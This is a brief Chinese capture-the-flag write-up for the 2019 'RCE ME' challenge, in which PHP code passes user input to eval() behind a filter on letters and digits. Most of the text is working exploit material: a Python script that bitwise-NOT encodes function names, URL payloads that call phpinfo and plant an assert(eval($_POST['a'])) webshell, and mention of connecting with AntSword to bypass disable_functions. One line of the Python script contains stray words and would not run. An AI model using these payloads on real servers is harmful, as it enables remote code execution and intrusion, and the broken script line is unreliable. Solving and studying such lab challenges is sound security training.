[极客大挑战 2019]RCE ME.md

---

<?php
error_reporting(0);
if(isset($_GET['code'])){
	$code=$_GET['code'];
	if(strlen($code)>40){
		die("This is too Long.");
	}
	if(preg_match("/[A-Za-z0-9]+/",$code)){
        die("NO.");
    }
    @eval($code);
}
else{
    highlight_file(__FILE__);
}

// ?>

朴实无华.jpg

RCE，但是无字母数字QAQ

限制长度的话，估计是要转换成处理另一个参数了

构造目标是phpinfo();

感觉异或会太长，通过取反构造

import re
s = input()gao bu lai
for ch in s:
    print('%%%02x' % (~ord(ch) + 256), end='')

$ python tmp.py
phpinfo
%8f%97%8f%96%91%99%90

/?code=(~%8f%97%8f%96%91%99%90)();

disable_functions pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,dl

这个怕不是禁得啥都不剩了QAQ

好像还有assert

构造assert(eval($_POST['a']));

assert ==> %9e%8c%8c%9a%8d%8b
eval($_POST['a']) ==> %9a%89%9e%93%d7%db%a0%af%b0%ac%ab%a4%d8%9e%d8%a2%d6

/?code=(~%9e%8c%8c%9a%8d%8b)(~%9a%89%9e%93%d7%db%a0%af%b0%ac%ab%a4%d8%9e%d8%a2%d6);

Antsword连接

直接用轮子绕过disable_functions（嗯，绝对不是LD_PRELOAD搞不来～）

#Web #PHP #bypass #encoding #RCE #disable_functions #antsword